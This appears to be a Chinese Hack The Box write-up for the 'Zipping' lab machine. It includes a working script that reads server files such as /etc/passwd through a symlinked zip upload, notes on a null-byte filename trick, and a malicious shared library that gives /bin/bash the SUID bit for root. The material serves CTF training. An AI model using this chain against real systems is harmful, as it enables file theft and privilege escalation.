Enum
nmap
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sC -sV -on 10.10.11.229
[for kali: ] password
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 23:22 EDT
Nmap scan report for 10.10.11.229
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d6eec022d0f6a3860c6aaac1ee0c284 (ECDSA)
|_ 256 eb9511c7a6faad74aba2c5f6a4021841 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds
Zip file upload
尝试web页面,发现有upload.php,简介说明只能传zip,且包含pdf。
注意这里必须是root权限
这里我们可以使用软连接
ln -s /etc/passwd symlink.pdf
#是用于创建一个指向 /etc/passwd 文件的符号链接(软链接)。
是你要创建的符号链接的名称,它会被指向 /etc/passwd 文件。
zip -r --symlinks sym.zip symlink.pdf
#用于将名为 symlink 的符号链接及其指向的文件或目录打包成一个名为 sym.zip 的 Zip 压缩文件。
参数表示递归地将符号链接指向的文件或目录包含在压缩文件中。
参数表示将符号链接本身包含在压缩文件中,而不是将其解析为其指向的文件或目录。
所以我们可以编写个脚本来读文件:
import os
from bs4 import BeautifulSoup
import requests
if not os.path.exists("tmp"):
os.mkdir("tmp")
file_to_read = input("File to read: ")
print("Creating symlink..")
os.chdir("tmp/")
os.system(f"ln -s {file_to_read} symlink.pdf")
print("Zipping..")
os.system(f"zip -r --symlinks sym.zip symlink.pdf")
os.system(f"rm symlink.pdf && cp sym.zip ../")
print("Done! Zip file: sym.zip")
print("Uploading file..")
MIP = "10.10.11.229"
file = {'zipFile': ('sym.zip', open('sym.zip','rb'),'application/zip'),'submit': (None,'')}
headers = {"Host":"10.10.11.229","User-Agent":"Mozilla/5.0 (X11;Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"}
s = requests.Session()
r = s.get(f"http://10.10.11.229",headers=headers)
r = s.get(f"http://10.10.11.229/upload.php", headers=headers)
r = s.post(f"http://10.10.11.229/upload.php",files=file,headers=headers)
soup = BeautifulSoup(r.text,features="lxml")
uuid=""
for a in soup.find_all("a",href=True):
if "uploads" in a['href']:
uuid = a['href'].split("/")[1]
print("File UUID: ",uuid)
print("nReading file..")
r = s.get(f"http://10.10.11.229/uploads/{uuid}/symlink.pdf")
print(r.text)
但这并非我的初衷,因为这并非shell。
Null Byte injection
我们想要RCE,必须得执行php才行。读了下uploadphp,截取部分
尝试x00截断pdf后缀,使得解析php,这里只需要修改一处(上面的X不需要修),X是58改成00即可。先搞一个test.phpX.pdf,然后打包zip null.zip test.phpX.pdf,再去010修
sharedlib
rektsu@zipping:/$ sudo -l
sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
strings一下可以看到password,我也拉到本地来看了一下,可以用IDA逆向
strace ./stock后发现输入密码后调用了这个so文件。
那么我自己编写一个sharedlib.c
void _init() {
setuid(0);
setgid(0);
system("chmod u+s /bin/bash");
}
gcc -shared -fPIC -nostartfiles -o libcounter.so sharedlib.c
#放到/home/rektsu/.config/libcounter.so即可
原文始发于微信公众号(搁浅安全):HTB-Zipping(Medium)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论